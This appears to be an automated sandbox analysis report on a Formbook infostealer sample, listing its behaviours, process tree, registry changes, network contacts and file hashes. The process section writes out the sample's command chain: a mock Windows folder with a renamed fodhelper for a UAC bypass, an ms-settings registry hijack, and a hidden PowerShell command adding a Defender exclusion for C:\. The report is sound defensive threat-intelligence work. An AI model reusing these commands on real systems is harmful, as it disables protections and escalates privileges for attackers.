Analysis Overview
SHA256
42039b6edc8a92257987047991f1c99eac490366de4e22ff5f0c3fd8fa31135a
Threat Level: Known bad
The file 839098d2b42765abf8c1066900745e03a0da338c.exe was found to be: Known bad.
Malicious Activity Summary
Formbook
Formbook payload
Checks computer location settings
Executes dropped EXE
Adds Run key to start application
Suspicious use of SetThreadContext
Program crash
Unsigned PE
Enumerates physical storage devices
Runs ping.exe
Suspicious behavior: EnumeratesProcesses
Suspicious behavior: MapViewOfSection
Suspicious use of AdjustPrivilegeToken
Kills process with taskkill
Modifies registry class
Suspicious use of UnmapMainImage
Suspicious use of WriteProcessMemory
Script User-Agent
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-07-16 14:23
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-07-16 14:23
Reported
2024-07-16 14:25
Platform
win7-20240708-en
Max time kernel
121s
Max time network
122s
Command Line
Signatures
Program crash
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WerFault.exe | C:\Users\Admin\AppData\Local\Temp\839098d2b42765abf8c1066900745e03a0da338c.exe |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2984 wrote to memory of 2680 | N/A | C:\Users\Admin\AppData\Local\Temp\839098d2b42765abf8c1066900745e03a0da338c.exe | C:\Windows\SysWOW64\WerFault.exe |
| PID 2984 wrote to memory of 2680 | N/A | C:\Users\Admin\AppData\Local\Temp\839098d2b42765abf8c1066900745e03a0da338c.exe | C:\Windows\SysWOW64\WerFault.exe |
| PID 2984 wrote to memory of 2680 | N/A | C:\Users\Admin\AppData\Local\Temp\839098d2b42765abf8c1066900745e03a0da338c.exe | C:\Windows\SysWOW64\WerFault.exe |
| PID 2984 wrote to memory of 2680 | N/A | C:\Users\Admin\AppData\Local\Temp\839098d2b42765abf8c1066900745e03a0da338c.exe | C:\Windows\SysWOW64\WerFault.exe |
Processes
C:\Users\Admin\AppData\Local\Temp\839098d2b42765abf8c1066900745e03a0da338c.exe
"C:\Users\Admin\AppData\Local\Temp\839098d2b42765abf8c1066900745e03a0da338c.exe"
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2984 -s 740
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | mbsngradnja.com | udp |
| RS | 77.105.36.123:443 | mbsngradnja.com | tcp |
| US | 8.8.8.8:53 | aquadream.rs | udp |
| RS | 185.102.77.43:443 | aquadream.rs | tcp |
| RS | 185.102.77.43:443 | aquadream.rs | tcp |
| RS | 185.102.77.43:443 | aquadream.rs | tcp |
Files
memory/2984-0-0x0000000000220000-0x0000000000221000-memory.dmp
memory/2984-1-0x0000000000400000-0x00000000005A4000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-07-16 14:23
Reported
2024-07-16 14:25
Platform
win10v2004-20240709-en
Max time kernel
149s
Max time network
150s
Command Line
Signatures
Formbook
Formbook payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000\Control Panel\International\Geo\Nation | C:\Users\Public\Libraries\fyzvilfB.pif | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000\Control Panel\International\Geo\Nation | C:\Windows \System32\per.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Public\Libraries\fyzvilfB.pif | N/A |
| N/A | N/A | C:\Users\Public\alpha.exe | N/A |
| N/A | N/A | C:\Users\Public\alpha.exe | N/A |
| N/A | N/A | C:\Users\Public\alpha.exe | N/A |
| N/A | N/A | C:\Users\Public\alpha.exe | N/A |
| N/A | N/A | C:\Users\Public\alpha.exe | N/A |
| N/A | N/A | C:\Users\Public\alpha.exe | N/A |
| N/A | N/A | C:\Users\Public\xkn.exe | N/A |
| N/A | N/A | C:\Users\Public\alpha.exe | N/A |
| N/A | N/A | C:\Users\Public\ger.exe | N/A |
| N/A | N/A | C:\Windows \System32\per.exe | N/A |
| N/A | N/A | C:\Users\Public\alpha.exe | N/A |
| N/A | N/A | C:\Users\Public\alpha.exe | N/A |
| N/A | N/A | C:\Users\Public\alpha.exe | N/A |
| N/A | N/A | C:\Users\Public\alpha.exe | N/A |
| N/A | N/A | C:\Users\Public\alpha.exe | N/A |
| N/A | N/A | C:\Users\Public\alpha.exe | N/A |
| N/A | N/A | C:\Users\Public\alpha.exe | N/A |
| N/A | N/A | C:\Users\Public\alpha.exe | N/A |
| N/A | N/A | C:\Users\Public\alpha.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Bflivzyf = "C:\\Users\\Public\\Bflivzyf.url" | C:\Users\Admin\AppData\Local\Temp\839098d2b42765abf8c1066900745e03a0da338c.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 4736 set thread context of 3788 | N/A | C:\Users\Admin\AppData\Local\Temp\839098d2b42765abf8c1066900745e03a0da338c.exe | C:\Users\Public\Libraries\fyzvilfB.pif |
| PID 1620 set thread context of 3548 | N/A | C:\Windows\SysWOW64\colorcpl.exe | C:\Windows\Explorer.EXE |
| PID 1620 set thread context of 3548 | N/A | C:\Windows\SysWOW64\colorcpl.exe | C:\Windows\Explorer.EXE |
| PID 3876 set thread context of 3548 | N/A | C:\Windows\SysWOW64\cscript.exe | C:\Windows\Explorer.EXE |
Enumerates physical storage devices
Kills process with taskkill
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\taskkill.exe | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000_Classes\ms-settings\shell | C:\Users\Public\ger.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000_Classes\ms-settings\shell\open | C:\Users\Public\ger.exe | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000_Classes\ms-settings\shell\open\command\ = "C:\\\\Users\\\\Public\\\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:\"" | C:\Users\Public\ger.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000_Classes\ms-settings\shell\open\command | C:\Users\Public\ger.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000_Classes\ms-settings | C:\Users\Public\ger.exe | N/A |
Runs ping.exe
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\PING.EXE | N/A |
Script User-Agent
| Description | Indicator | Process | Target |
| HTTP User-Agent header | Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) | N/A | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious behavior: MapViewOfSection
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\colorcpl.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\colorcpl.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\colorcpl.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\colorcpl.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\cscript.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\cscript.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Users\Public\xkn.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\system32\taskkill.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\colorcpl.exe | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeShutdownPrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeCreatePagefilePrivilege | N/A | C:\Windows\Explorer.EXE | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\cscript.exe | N/A |
Suspicious use of UnmapMainImage
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\Explorer.EXE | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
C:\Users\Admin\AppData\Local\Temp\839098d2b42765abf8c1066900745e03a0da338c.exe
"C:\Users\Admin\AppData\Local\Temp\839098d2b42765abf8c1066900745e03a0da338c.exe"
C:\Users\Public\Libraries\fyzvilfB.pif
C:\Users\Public\Libraries\fyzvilfB.pif
C:\Windows\system32\cmd.exe
"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\82E7.tmp\82E8.tmp\82F8.bat C:\Users\Public\Libraries\fyzvilfB.pif"
C:\Windows\System32\extrac32.exe
C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows "
C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c mkdir "\\?\C:\Windows \System32"
C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
C:\Windows\system32\extrac32.exe
extrac32 /C /Y C:\\Windows\\System32\\reg.exe "C:\\Users\\Public\\ger.exe"
C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
C:\Windows\system32\extrac32.exe
extrac32 /C /Y C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe "C:\\Users\\Public\\xkn.exe"
C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
C:\Windows\system32\extrac32.exe
extrac32 /C /Y C:\\Windows\\System32\\fodhelper.exe "C:\\Windows \\System32\\per.exe"
C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
C:\Users\Public\xkn.exe
C:\\Users\\Public\\xkn -WindowStyle hidden -Command "C:\\Users\\Public\\alpha /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d 'C:\\Users\\Public\\xkn -WindowStyle hidden -Command "Add-MpPreference -ExclusionPath C:\"' ; "
C:\Users\Public\alpha.exe
"C:\Users\Public\alpha.exe" /c C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
C:\Users\Public\ger.exe
C:\\Users\\Public\\ger add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "C:\\Users\\Public\\xkn -WindowStyle hidden -Command Add-MpPreference -ExclusionPath C:""
C:\Windows \System32\per.exe
"C:\\Windows \\System32\\per.exe"
C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c taskkill /F /IM SystemSettings.exe
C:\Windows\system32\SystemSettingsAdminFlows.exe
"C:\Windows\system32\SystemSettingsAdminFlows.exe" OptionalFeaturesAdminHelper
C:\Windows\system32\taskkill.exe
taskkill /F /IM SystemSettings.exe
C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c ping 127.0.0.1 -n 2
C:\Windows\system32\PING.EXE
ping 127.0.0.1 -n 2
C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c del /q "C:\Windows \System32\*"
C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c rmdir "C:\Windows \System32"
C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c rmdir "C:\Windows \"
C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c del /q "C:\\Windows \\System32\\per.exe" / A / F / Q / S
C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\ger.exe" / A / F / Q / S
C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S
C:\Users\Public\alpha.exe
C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\xkn.exe" / A / F / Q / S
C:\Windows\SysWOW64\extrac32.exe
C:\\Windows\\System32\\extrac32.exe /C /Y C:\Users\Admin\AppData\Local\Temp\839098d2b42765abf8c1066900745e03a0da338c.exe C:\\Users\\Public\\Libraries\\Bflivzyf.PIF
C:\Windows\SysWOW64\colorcpl.exe
C:\Windows\System32\colorcpl.exe
C:\Windows\SysWOW64\cscript.exe
"C:\Windows\SysWOW64\cscript.exe"
C:\Windows\SysWOW64\cmd.exe
/c del "C:\Windows\SysWOW64\colorcpl.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 16.53.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | mbsngradnja.com | udp |
| RS | 77.105.36.123:443 | mbsngradnja.com | tcp |
| US | 8.8.8.8:53 | 50.23.12.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | aquadream.rs | udp |
| RS | 185.102.77.43:443 | aquadream.rs | tcp |
| RS | 185.102.77.43:443 | aquadream.rs | tcp |
| US | 8.8.8.8:53 | 206.23.85.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 43.77.102.185.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 192.142.123.92.in-addr.arpa | udp |
| US | 8.8.8.8:53 | b-trend.hu | udp |
| HU | 185.33.54.13:443 | b-trend.hu | tcp |
| US | 8.8.8.8:53 | 81.144.22.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | cxcs.microsoft.net | udp |
| US | 8.8.8.8:53 | 205.47.74.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 48.229.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | www.slaytheday.fun | udp |
| CA | 216.40.34.41:80 | www.slaytheday.fun | tcp |
| US | 8.8.8.8:53 | 41.34.40.216.in-addr.arpa | udp |
| US | 8.8.8.8:53 | www.entermintlead.com | udp |
| US | 8.8.8.8:53 | www.bx2zyg.com | udp |
| US | 3.33.130.190:80 | www.bx2zyg.com | tcp |
| US | 8.8.8.8:53 | 190.130.33.3.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 26.73.42.20.in-addr.arpa | udp |
Files
memory/4736-0-0x0000000002340000-0x0000000002341000-memory.dmp
memory/4736-1-0x0000000000400000-0x00000000005A4000-memory.dmp
C:\Users\Public\Libraries\fyzvilfB.pif
| MD5 | c116d3604ceafe7057d77ff27552c215 |
| SHA1 | 452b14432fb5758b46f2897aeccd89f7c82a727d |
| SHA256 | 7bcdc2e607abc65ef93afd009c3048970d9e8d1c2a18fc571562396b13ebb301 |
| SHA512 | 9202a00eeaf4c5be94de32fd41bfea40fc32d368955d49b7bad2b5c23c4ebc92dccb37d99f5a14e53ad674b63f1baa6efb1feb27225c86693ead3262a26d66c6 |
memory/3788-13-0x0000000000400000-0x0000000001400000-memory.dmp
memory/3788-10-0x0000000000400000-0x0000000001400000-memory.dmp
memory/3788-16-0x0000000000400000-0x000000000041A000-memory.dmp
memory/3788-15-0x0000000000400000-0x0000000001400000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\82E7.tmp\82E8.tmp\82F8.bat
| MD5 | e62f427202d3e5a3ba60ebe78567918c |
| SHA1 | 6ef0cd5ba6c871815fceb27ff095a7931452b334 |
| SHA256 | 06bee225a830ea0e67b91fd7d24280c5315ef82049b25b07c9cfde4e36a639ff |
| SHA512 | e15148ba4099f3b8c73319be32a5f76226d21e7fb90123bec68e5106d03b7d3e8af8caa0421667920967e8921787ba255dc4bf23d35792bf8e9a20f1e18283c6 |
C:\Users\Public\alpha.exe
| MD5 | 8a2122e8162dbef04694b9c3e0b6cdee |
| SHA1 | f1efb0fddc156e4c61c5f78a54700e4e7984d55d |
| SHA256 | b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450 |
| SHA512 | 99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397 |
C:\Users\Public\xkn.exe
| MD5 | 04029e121a0cfa5991749937dd22a1d9 |
| SHA1 | f43d9bb316e30ae1a3494ac5b0624f6bea1bf054 |
| SHA256 | 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f |
| SHA512 | 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b |
memory/1232-50-0x000001BE733C0000-0x000001BE733E2000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kzfwe1yw.ttf.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
C:\Users\Public\ger.exe
| MD5 | 227f63e1d9008b36bdbcc4b397780be4 |
| SHA1 | c0db341defa8ef40c03ed769a9001d600e0f4dae |
| SHA256 | c0e25b1f9b22de445298c1e96ddfcead265ca030fa6626f61a4a4786cc4a3b7d |
| SHA512 | 101907b994d828c83587c483b4984f36caf728b766cb7a417b549852a6207e2a3fe9edc8eff5eeab13e32c4cf1417a3adccc089023114ea81974c5e6b355fed9 |
C:\Windows \System32\per.exe
| MD5 | 85018be1fd913656bc9ff541f017eacd |
| SHA1 | 26d7407931b713e0f0fa8b872feecdb3cf49065a |
| SHA256 | c546e05d705ffdd5e1e18d40e2e7397f186a7c47fa5fc21f234222d057227cf5 |
| SHA512 | 3e5903cf18386951c015ae23dd68a112b2f4b0968212323218c49f8413b6d508283cc6aaa929dbead853bd100adc18bf497479963dad42dfafbeb081c9035459 |
memory/3788-77-0x0000000000400000-0x000000000041A000-memory.dmp
memory/3788-75-0x0000000000400000-0x0000000001400000-memory.dmp
memory/1620-83-0x00000000053B0000-0x00000000063B0000-memory.dmp
memory/1620-86-0x00000000053B0000-0x00000000063B0000-memory.dmp
memory/1620-87-0x00000000053B0000-0x00000000063B0000-memory.dmp
memory/3876-88-0x00000000005D0000-0x00000000005F7000-memory.dmp
memory/3876-89-0x00000000001C0000-0x00000000001EF000-memory.dmp
memory/3548-91-0x000000000A8C0000-0x000000000A9B6000-memory.dmp